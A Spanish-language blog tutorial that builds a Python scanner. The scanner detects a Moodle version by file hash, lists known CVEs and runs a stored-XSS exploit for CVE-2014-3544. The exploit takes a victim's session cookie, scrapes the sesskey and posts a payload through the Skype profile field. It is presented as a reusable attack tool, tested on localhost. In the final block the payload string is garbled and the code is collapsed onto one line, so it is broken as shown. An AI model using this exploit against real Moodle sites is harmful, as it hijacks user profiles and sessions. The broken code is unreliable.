Hacking Tools: Listando y explotando vulnerabilidades con Python

Con este post finalizo la introducción al scripting con Python, donde de forma muy superficial vimos lo básico del lenguaje para comenzar el desarrollo de nuestras herramientas y luego obtener información relevante de nuestro objetivo web.
Ahora veremos como listar y explotar vulnerabilidades. Continuaremos con el código del post anterior
Primero debemos crear una estructura variable (un arreglo o matriz) que almacene la información de vulnerabilidades para cada versión de nuestro objetivo, en nuestro caso de ejemplo, Moodle.
Se me ocurre que cuando la herramienta encuentre una versión con vulnerabilidades conocidas (CVE: Common Vulnerabilities and Exposures - generalmente publicadas en www.cvedetails.com), muestre en pantalla:
  • Código CVE
  • Descripción de la vulnerabilidad
  • Enlaces o links a documentación de referencia
  • Una opción que indique si con nuestra herramienta podemos explotar dicho fallo
La matriz deberá tener todo eso y adicionalmente incorporar qué versiones de nuestro objetivos son vulnerables a la falla de seguridad. Debería ser algo como:
vulnerabilidades = [
 ['2.4.2','CVE-2013-2244', 'Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML via the conditional access rule value of a user field. ', 'www.referencia.com', '1'],
 ['2.4.2','CVE-2013-2242', 'mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability before authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server. ', 'www.referencia.com', '0'],
 ['2.9','CVE-2016-2153', 'Cross-site scripting (XSS) vulnerability in the advanced-search feature in mod_data in Moodle through 2.6.11, 2.7.x before 2.7.13, 2.8.x before 2.8.11, 2.9.x before 2.9.5, and 3.0.x before 3.0.3 allows remote attackers to inject arbitrary web script or HTML via a crafted field in a URL, as demonstrated by a search form field. ','www.referencia.com','0']
]
Incorporamos nuestra matriz y agregamos el código que buscará en ella las vulnerabilidades.
#! /usr/bin/python

import hashlib 
import optparse
import urllib.request

 
print ("""
Mi primera herramienta 1.0
modo de uso: scan.py -u URL
""")
 
#comentario: las líneas dentro de las tres comillas se interpretan
#incluyendo los saltos de línea
 
 
parser = optparse.OptionParser()
 
parser.add_option('-u', '--url', dest="url", help="Direccion del sitio web a escanear")
 
(options, args) = parser.parse_args()

url = options.url

print ("Obteniendo datos del servidor")

cnn = urllib.request.urlopen(url)

print ("server  : " + cnn.info().get('server'))
print ("x-powered-by : " + cnn.info().get('x-powered-by')) 
print ("x-frame-options : " + cnn.info().get('x-frame-options'))

versiones = [
 ['e05f0126ed075eaf8dda7e1346e439ff', '2.4.2'],
 ['54145C49BF5F6A90ACE4CF7613580587', '2.9'],
 ['B8C9BB0F1F212E66A561E17EFD7BC142', '3.2.1']
]

cnn = urllib.request.urlopen(url + '/admin/environment.xml')
contenido = cnn.read()
hashremoto = hashlib.md5(contenido).hexdigest()

for i in versiones:
 if i[0].lower() == hashremoto.lower():
  print("\nMoodle version " + i[1])
  version = i[1]


vulnerabilidades = [
 ['2.4.2','CVE-2013-2244', 'Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML via the conditional access rule value of a user field. ', 'www.referencia.com', '1'],
 ['2.4.2','CVE-2013-2242', 'mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability before authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server. ', 'www.referencia.com', '0'],
 ['2.9','CVE-2016-2153', 'Cross-site scripting (XSS) vulnerability in the advanced-search feature in mod_data in Moodle through 2.6.11, 2.7.x before 2.7.13, 2.8.x before 2.8.11, 2.9.x before 2.9.5, and 3.0.x before 3.0.3 allows remote attackers to inject arbitrary web script or HTML via a crafted field in a URL, as demonstrated by a search form field. ','www.referencia.com','0']
]

print ("\nBuscando vulnerabilidades...")

for i in vulnerabilidades:
 if i[0] == version:
  print ("\n\nCVE  : " + i[1])
  print ("Descripcion : " + i[2])
  print ("Referencias : " + i[3])
  print ("Exploit? : " + i[4])

La salida en mi ambiente de pruebas es:
>./blog.py -u http://localhost/moodle

Mi primera herramienta 1.0
modo de uso: scan.py -u URL

Obteniendo datos del servidor
server          : Apache/2.2.15 (CentOS)
x-powered-by    : PHP/5.3.3
x-frame-options : sameorigin

Moodle version 2.4.2

Buscando vulnerabilidades...


CVE             : CVE-2013-2244
Descripcion     : Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML vi
a the conditional access rule value of a user field.
Referencias     : www.referencia.com
Exploit?        : 1


CVE             : CVE-2013-2242
Descripcion     : mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability befo
re authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server.
Referencias     : www.referencia.com
Exploit?        : 0
Ahora que tenemos nuestra lista de vulnerabilidades vamos a implementar la forma de poder explotar una de ellas. Para esto usamos el ultimo campo de nuestra matriz, que en pantalla se refleja como "exploit?", si es 1, quiere decir que podemos explotar la vulnerabilidad desde nuestra propia herramienta.
Para dar al usuario la opción de explotar la vulnerabilidad, realizaremos una pregunta en pantalla, siempre y cuando en la lista obtenida exista alguna vulnerabilidad con la variable de exploit en "1". La forma de lanzar el exploit será introduciendo el número CVE (Ej: 2013-2244)
Crearemos dos contadores, uno para contar las vulnerabilidades encontradas y otro para contar las vulnerabilidades que nuestra herramienta podrá explotar. Con esta información podremos mostrar en pantalla al usuario estos números
#! /usr/bin/python

import hashlib 
import optparse
import urllib.request

 
print ("""
Mi primera herramienta 1.0
modo de uso: scan.py -u URL
""")
 
#comentario: las líneas dentro de las tres comillas se interpretan
#incluyendo los saltos de línea
 
 
parser = optparse.OptionParser()
 
parser.add_option('-u', '--url', dest="url", help="Direccion del sitio web a escanear")
 
(options, args) = parser.parse_args()

url = options.url

print ("Obteniendo datos del servidor")

cnn = urllib.request.urlopen(url)

print ("server  : " + cnn.info().get('server'))
print ("x-powered-by : " + cnn.info().get('x-powered-by')) 
print ("x-frame-options : " + cnn.info().get('x-frame-options'))

versiones = [
 ['e05f0126ed075eaf8dda7e1346e439ff', '2.4.2'],
 ['c05ea78249ea5498198b7a7b359ff247', '2.6'],
 ['54145C49BF5F6A90ACE4CF7613580587', '2.9'],
 ['B8C9BB0F1F212E66A561E17EFD7BC142', '3.2.1']
]

cnn = urllib.request.urlopen(url + '/admin/environment.xml')
contenido = cnn.read()
hashremoto = hashlib.md5(contenido).hexdigest()

version = None

for i in versiones:
 if i[0].lower() == hashremoto.lower():
  print("\nMoodle version " + i[1])
  version = i[1]


vulnerabilidades = [
 ['2.4.2','2013-2244', 'Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML via the conditional access rule value of a user field. ', 'www.referencia.com', '0'],
 ['2.4.2','2013-2242', 'mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability before authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server. ', 'www.referencia.com', '0'],
 ['2.4.2', '2013-4341', 'Multiple cross-site scripting (XSS) vulnerabilities in Moodle through 2.2.11, 2.3.x before 2.3.9, 2.4.x before 2.4.6, and 2.5.x before 2.5.2 allow remote attackers to inject arbitrary web script or HTML via a crafted blog link within an RSS feed.','www.reference.com','0'],
 ['2.6', '2014-3544','Cross-site scripting (XSS) vulnerability in user/profile.php in Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allows remote authenticated users to inject arbitrary web script or HTML via the Skype ID profile field.', 'www.reference.com', '1'],
 ['2.9','2016-2153', 'Cross-site scripting (XSS) vulnerability in the advanced-search feature in mod_data in Moodle through 2.6.11, 2.7.x before 2.7.13, 2.8.x before 2.8.11, 2.9.x before 2.9.5, and 3.0.x before 3.0.3 allows remote attackers to inject arbitrary web script or HTML via a crafted field in a URL, as demonstrated by a search form field. ','www.referencia.com','0']
]

print ("\nBuscando vulnerabilidades...")

nvuln = 0
nexpl = 0

if version is not None:
 for i in vulnerabilidades:
  if i[0] == version:
   print ("\n\nCVE  : " + i[1])
   print ("Descripcion : " + i[2])
   print ("Referencias : " + i[3])
   print ("Exploit? : " + i[4])
   nvuln += 1
   if i[4] == '1':
    nexpl += 1
 
 print ("\nSe han encontrado " + str( nvuln ) + " vulnerabilidades para esta version de Moodle")

 if nvuln > 0:
  if nexpl > 0:
   #preguntar si desea explotar
   print("\nExisten vulnerabilidades que pueden ser explotadas por la herramienta, desea explotar alguna ahora?")

 print ("\nBusqueda finalizada.")
else:
 print("\nMoodle version no encontrada.\nBusqueda finalizada.")


Con la nueva versión del script, si pruebo en un ambiente de pruebas con Moodle version 2.6 arroja lo siguiente:
>./blog.py -u http://localhost/moodle
Mi primera herramienta 1.0
modo de uso: scan.py -u URL

Obteniendo datos del servidor
server          : Apache/2.4.18 (Win64) PHP/5.6.19
x-powered-by    : PHP/5.6.19
x-frame-options : sameorigin

Moodle version 2.6

Buscando vulnerabilidades...


CVE             : 2014-3544
Descripcion     : Cross-site scripting (XSS) vulnerability in user/profile.php in Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allows remote authent
icated users to inject arbitrary web script or HTML via the Skype ID profile field.
Referencias     : www.reference.com
Exploit?        : 1

Se han encontrado 1 vulnerabilidades para esta version de Moodle

Existen vulnerabilidades que pueden ser explotadas por la herramienta, desea explotar alguna ahora?

Busqueda finalizada.
Ahora nos queda hacer la pregunta al usuario, si quiere explotar la vulnerabilidad encontrada, recordemos que para esto le pediremos el código CVE. Compararemos el código CVE ingresado y si coincide ejecutaremos el exploit.
#! /usr/bin/python

import hashlib 
import re
import optparse
import urllib
import urllib.request

 
print ("""
Mi primera herramienta 1.0
modo de uso: scan.py -u URL
""")
 
#comentario: las líneas dentro de las tres comillas se interpretan
#incluyendo los saltos de línea
 
 
parser = optparse.OptionParser()
 
parser.add_option('-u', '--url', dest="url", help="Direccion del sitio web a escanear")
 
(options, args) = parser.parse_args()

url = options.url

print ("Obteniendo datos del servidor")

cnn = urllib.request.urlopen(url)

print ("server  : " + cnn.info().get('server'))
print ("x-powered-by : " + cnn.info().get('x-powered-by')) 
print ("x-frame-options : " + cnn.info().get('x-frame-options'))

versiones = [
 ['e05f0126ed075eaf8dda7e1346e439ff', '2.4.2'],
 ['c05ea78249ea5498198b7a7b359ff247', '2.6'],
 ['54145C49BF5F6A90ACE4CF7613580587', '2.9'],
 ['B8C9BB0F1F212E66A561E17EFD7BC142', '3.2.1']
]

cnn = urllib.request.urlopen(url + '/admin/environment.xml')
contenido = cnn.read()
hashremoto = hashlib.md5(contenido).hexdigest()

version = None

for i in versiones:
 if i[0].lower() == hashremoto.lower():
  print("\nMoodle version " + i[1])
  version = i[1]


vulnerabilidades = [
 ['2.4.2','2013-2244', 'Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML via the conditional access rule value of a user field. ', 'www.referencia.com', '0'],
 ['2.4.2','2013-2242', 'mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability before authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server. ', 'www.referencia.com', '0'],
 ['2.4.2', '2013-4341', 'Multiple cross-site scripting (XSS) vulnerabilities in Moodle through 2.2.11, 2.3.x before 2.3.9, 2.4.x before 2.4.6, and 2.5.x before 2.5.2 allow remote attackers to inject arbitrary web script or HTML via a crafted blog link within an RSS feed.','www.reference.com','0'],
 ['2.6', '2014-3544','Cross-site scripting (XSS) vulnerability in user/profile.php in Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allows remote authenticated users to inject arbitrary web script or HTML via the Skype ID profile field.', 'www.reference.com', '1'],
 ['2.9','2016-2153', 'Cross-site scripting (XSS) vulnerability in the advanced-search feature in mod_data in Moodle through 2.6.11, 2.7.x before 2.7.13, 2.8.x before 2.8.11, 2.9.x before 2.9.5, and 3.0.x before 3.0.3 allows remote attackers to inject arbitrary web script or HTML via a crafted field in a URL, as demonstrated by a search form field. ','www.referencia.com','0']
]

print ("\nBuscando vulnerabilidades...")

nvuln = 0
nexpl = 0

if version is not None:
 for i in vulnerabilidades:
  if i[0] == version:
   print ("\n\nCVE  : " + i[1])
   print ("Descripcion : " + i[2])
   print ("Referencias : " + i[3])
   print ("Exploit? : " + i[4])
   nvuln += 1
   if i[4] == '1':
    nexpl += 1
 
 print ("\nSe han encontrado " + str( nvuln ) + " vulnerabilidades para esta version de Moodle")

 if nvuln > 0:
  if nexpl > 0:
   #preguntar si desea explotar
   print("\nExisten vulnerabilidades que pueden ser explotadas por la herramienta. Si desea explotar una ingrese el codigo CVE (Ej: 2013-4341), de lo contrario presione ENTER.")
   cve = input("\nIngrese el codigo CVE: ")

   if cve == "2014-3544":
    #
    #codigo del exploit
    #es necesaria la cookie de sesion, para interactuar con moodle como si estuviera "logeado"
    #ejemplo: MoodleSession=4vls4fco86h23mii42hohv4d82;
    #
    cookie = input("\nIngrese la cookie de sesion de Moodle: ")
    req = urllib.request.Request(url)
    req.add_header('Cookie',cookie)
    formedit = urllib.request.urlopen(req)
    html = formedit.read().decode()
    
    idx = html.find("/user/profile.php?id=")
    len = idx + 30
    pid = html[idx:len]
    patron = re.compile("id=\d+")
    userid = patron.findall(pid)[0][3:]
    
    idx = html.find("login/logout.php?sesskey=")
    len = idx + 40
    ses = html[idx:len]
    patron = re.compile("sesskey=\w+")
    sesskey = patron.findall(ses)[0][8:]

    payload = '">>>

XSS COMPLETE

' post = {'id':userid, 'course':'1', 'sesskey': sesskey, '_qf__user_editadvanced_form':'1', 'mform_isexpanded_id_moodle':'1', 'mform_isexpanded_id_moodle_picture':'0', 'mform_isexpanded_id_moodle_additional_names':'0', 'mform_isexpanded_id_moodle_interests':'0', 'mform_isexpanded_id_moodle_optional':'1', 'username':'admin', 'newpassword':'', 'firstname':'Admin', 'lastname':'User', 'email':'[email protected]', 'maildisplay':'1', 'mailformat':'1', 'maildigest':'0', 'autosubscribe':'1', 'trackforums':'0', 'preference_htmleditor':'', 'city':'', 'country':'', 'timezone':'99', 'lang':'en', 'description_editor[text]':'', 'description_editor[format]':'1', 'description_editor[itemid]':'901794433', 'imagefile':'703582763', 'imagealt':'', 'firstnamephonetic':'', 'lastnamephonetic':'', 'middlename':'', 'alternatename':'', 'interests[othertags]':'', 'url':'', 'icq':'', 'skype':payload, 'aim':'', 'yahoo':'', 'msn':'', 'idnumber':'', 'institution':'', 'department':'', 'phone1':'', 'phone2':'', 'address':'', 'submitbutton':'Update profile'} req = urllib.request.Request(url + '/user/editadvanced.php', data=urllib.parse.urlencode(post).encode()) res = urllib.request.urlopen(req) if res.getcode() == 200: print ("\nExploit ejecutado correctamente. Finalizado.\n") print ("\nBusqueda finalizada.") else: print("\nMoodle version no encontrada.\nBusqueda finalizada.")
Como pueden ver, se hacen las preguntas necesarias al usuario vía el metodo "input", lo que viene después es el código del exploit que necesita la cookie de session para poder simular un usuario ya logueado en Moodle, esto debido a que la vulnerabilidad del ejemplo, es un Cross Site Scripting persistente que se puede explotar al editar el perfil del usuario.
Para poder enviar el HTTP POST con el XSS Moodle nos pide una variable de session que va en el formulario y además necesitamos el ID del usuario. Para eso están los bloques de código que comienzan con "idx = ...". Mediante la búsqueda de string vía metodo find() y también usando expresiones regulares (re y compile()) podemos obtener esos datos desde el código HTML. Una vez obtenidos esos datos enviamos el POST con nuestro código.
Espero les sirva para que puedan ir creando sus propias herramientas.
Saludos

Comentarios

Entradas populares de este blog

Stack Buffer Overflow: Hackeando la memoria en Linux x64

Hacking Tools: sqlidownloader basado en el script en Perl file_reader.pl de PhineasFisher

Ocultando la web shell como una imagen (Apache + PHP)